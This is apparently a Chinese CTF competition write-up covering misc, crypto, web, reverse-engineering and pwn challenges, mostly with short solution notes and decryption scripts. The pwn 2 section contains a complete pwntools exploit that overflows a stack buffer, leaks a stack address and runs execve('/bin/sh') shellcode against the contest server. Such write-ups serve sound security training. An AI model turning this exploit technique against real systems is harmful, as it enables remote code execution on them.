米好信安杯2025 – wp

Sherry 发布于 2025-06-13 114 次阅读 文章 最后更新于 2025-06-13 1500 字


签到

南京紫金山

flag{118.85,32.07}

MISC-1


双击看到一个压缩包

提示四位密码

密码为1996

看到OurSecret隐写特征

猜测密码为CTF


word里面出现提示CFRS?CSRF?

[[R[FSFSF]]FSF][[R[FSFSF]]FF] 为0

[C[C[C[SFS]]]][C[C[C[SFS]]]] 为1
[C[C[C[SFS]]]] 为 1
将对应字符替换,之后进行转换

flag{92f38c0023da46433a66e77b2543ec59

MISC-2

通过 file 查看⽂件类型为 pcapng。添加后缀通过 wireshark 打开

发现是USB流量直接使用工具一把梭

flag{bit43}

Crypto-1


内存溢出

from Crypto.Cipher import DES
from Crypto.Util.Padding import unpad
import binascii

# ================== 配置区 ==================
# 密文(十六进制字符串,长度需为16的倍数)
CIPHERTEXT_HEX = "e4bed2ec2a02fa52cb29591c776eee893fe2b2b7072cd389178245b788e46b15a1f14f060f2ba069"

# 已知密钥前缀(5字节)
KEY_PREFIX = b"3HUD7"
# ===========================================

def pkcs7_unpad(data):
    try:
        return unpad(data, DES.block_size, style='pkcs7')
    except Exception:
        return None

def try_decrypt(cipher_hex, key):
    if len(key) != 8:
        return None
    try:
        cipher = DES.new(key, DES.MODE_ECB)
        ct = binascii.unhexlify(cipher_hex)
        pt_padded = cipher.decrypt(ct)
        pt = pkcs7_unpad(pt_padded)
        if pt is None:
            return None
        try:
            text = pt.decode('utf-8')
            return text, pt
        except Exception:
            return None
    except Exception:
        return None

def brute_force(cipher_hex, prefix):
    results = []
    total = 256 ** 3
    print(f"开始爆破,密钥前缀:{prefix.decode(errors='ignore')}")
    for i in range(total):
        k = prefix + bytes([(i >> 16) & 0xff, (i >> 8) & 0xff, i & 0xff])
        res = try_decrypt(cipher_hex, k)
        if res:
            text, pt = res
            print(f"[发现] 密钥: {k} | 明文: {text}")
            results.append((k, text, pt))
        if i % 500000 == 0:
            print(f"进度: {i}/{total}")
    return results

def main():
    print("=== DES ECB 密钥爆破工具 ===")
    if len(CIPHERTEXT_HEX) % 16 != 0:
        print("密文长度不正确,需为16的倍数。")
        return
    # 先尝试已知的"3HUD7???"(问号)
    test_key = KEY_PREFIX + b"???"
    res = try_decrypt(CIPHERTEXT_HEX, test_key)
    if res:
        text, pt = res
        print(f"直接尝试密钥 {test_key} 成功,明文为: {text}")
    else:
        print("直接尝试密钥未成功,准备爆破...")
    # 是否进行全量爆破
    go = input("是否开始全量爆破密钥后3字节?(y/n): ").strip().lower()
    if go == 'y':
        found = brute_force(CIPHERTEXT_HEX, KEY_PREFIX)
        if not found:
            print("未找到可用密钥。")
        else:
            print(f"共找到{len(found)}组可能的密钥和明文。")
    else:
        print("已取消爆破。")

if __name__ == "__main__":
    main()

Crypto-2

压缩包密码爆破123456

恩尼格玛密码机 The Enigma machine: Encrypt and decrypt online - cryptii

flag{YOUGETITGOODLOCKFORYOU}

WEB-1

SSTI

fenjing一把嗦

flag{45f262f8515a42a85400321eccae7f0b}

WEB-2

SSRF

发现连接不上试试8081发现连接成功

flag{4e520a1f-4c9d-4f27-b10d-cbc7d20dfb16}

RE-1

程序是用 install 4 j 打包的,动态调试

temp 目录加载 jar 包

打开 jadx 进行逆向

from Crypto.Cipher import AES
import base64
import sys

encrypted_b64 = "4YJRUr7qBtF5dZ5J3NREJVE7HaS1K2V211WHTrFdvS-N35rPhd_EDZ6ef-DsGKcE"
key_b64 = "MTYyNDYxNzI2NzAx"

key_bytes = base64.b64decode(key_b64)
key = key_bytes[:16].ljust(16, b'\x00')

print("密钥长度:", len(key), "字节")
print("密钥:", key.hex())

encrypted_data = base64.urlsafe_b64decode(encrypted_b64)

cipher = AES.new(key, AES.MODE_ECB)

decrypted_data = cipher.decrypt(encrypted_data)

def unpad(s):
    pad_len = s[-1]
    if pad_len < 1 or pad_len > 16:
        print("可能不是有效的PKCS#5/7填充")
        sys.exit(1)
    return s[:-pad_len]

try:
    result = unpad(decrypted_data).decode('utf-8')
    print("[+] 解密成功:", result)
except Exception1 as e:
    print("[!] 解密错误:", e)
    print("解密数据十六进制:", decrypted_data.hex())

flag{afb 94494 b 9 fe 826 f 46 c 6 f 331199 a 3300}

RE-2




小端序 key

#include <stdio.h>
#include <string.h>

unsigned char generate_flag_char(unsigned char true_key_byte, int index) {
    long long intermediate_result = ((long long)true_key_byte ^ 0x6B) + index;
    return (unsigned char)intermediate_result;
}

int main() {
    unsigned char True_K[] = {
        0x39,0x0F,0x1F,0x09,0x05,0x05,0x40,0x0C,0x34,0x3D,0x4C,0x03,0x38,0x52,0x0C,0x34,0x7A
    };

    int k_len = sizeof(True_K) / sizeof(True_K[0]);
    if (k_len != 17) {
        printf("Error: Key length is not 17 as expected.\n");
        return 1;
    }

    char flag_core_buffer[18];
    int buffer_idx = 0;

    printf("Generating flag using the derived TRUE key values:\n");
    printf("--------------------------------------------------\n");
    printf("Idx | True_K | (True_K^0x6B) | + Idx | Expected Code | Char |\n");
    printf("----|--------|---------------|-------|---------------|------|\n");

    for (int i = 0; i < k_len; ++i) {
        unsigned char key_byte = True_K[i];
        unsigned char expected_char_code = generate_flag_char(key_byte, i);
        flag_core_buffer[buffer_idx++] = (char)expected_char_code;

        printf("%3d | 0x%02X   | 0x%02X          | %5d |     0x%02X      |  %c   |\n",
               i,
               key_byte,
               (unsigned char)(key_byte ^ 0x6B),
               i,
               expected_char_code,
               (char)expected_char_code);
    }
    flag_core_buffer[buffer_idx] = '\0';

    printf("--------------------------------------------------\n");
    printf("\nGenerated flag core: %s\n", flag_core_buffer);
    printf("Full correct flag: flag{%s}\n", flag_core_buffer);

    return 0;
}

flag{Revers1ng_1s_Fun!}

pwn 2

32 位保护全关

首先是向栈中push一个字符串,然后输出该字符串后再向栈中输入0x3c个字符。注意在read的时候并没有设置ecx,所以这个时候ecx仍然等于esp,所以就是直接向栈上写入0x3c个字符。

很明显有栈溢出
将栈抬升0x14后直接ret,这里ret的值就是最开始push的_exit,所以我们可以直接覆盖返回地址。由于没有开启NX保护,所以可以先泄漏栈地址,然后直接往栈上写入shellcode即可。
注意到最开始的时候是把esp的值给push到了栈中,而且刚好在_exit后面。
所以我们可以先将返回地址_exit给覆盖为0x08048087,这样就会再一次调用read函数,而这里ecx是等于esp的
那么就可以泄漏栈地址了,然后再向栈上写入shellcode并返回到栈上执行即可。

#!/usr/bin/env python3
from pwn import *

context.arch = 'i386'
context.os = 'linux'
context.endian = 'little'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

HOST = 'new.mhxaskills.cn'
PORT = 33993

def exploit():
    io = remote(HOST, PORT)

    payload1 = flat([
        b'A' * 0x14,
        p32(0x08048087)
    ])
    io.sendafter(b'CTF:', payload1)

    stack_addr = u32(io.recv(4))
    log.success(f'Stack address: {hex(stack_addr)}')

    shellcode = asm('''
        mov eax, 11
        mov ebx, {}
        xor ecx, ecx
        xor edx, edx
        int 0x80
    '''.format(stack_addr))

    payload2 = flat([
        b'A' * 4,
        b'/bin/sh\x00',
        b'A' * (0x14-8-4),
        p32(stack_addr + 0x14),
        shellcode
    ])
    log.info(f'Payload length: {hex(len(payload2))}')
    io.send(payload2)

    io.interactive()

if __name__ == '__main__':
    try:
        exploit()
    except Exception as e:
        log.error(f'Exploit failed: {str(e)}')

flag{4f546000e0-a30e-4bff-ed1c-c73828db4a}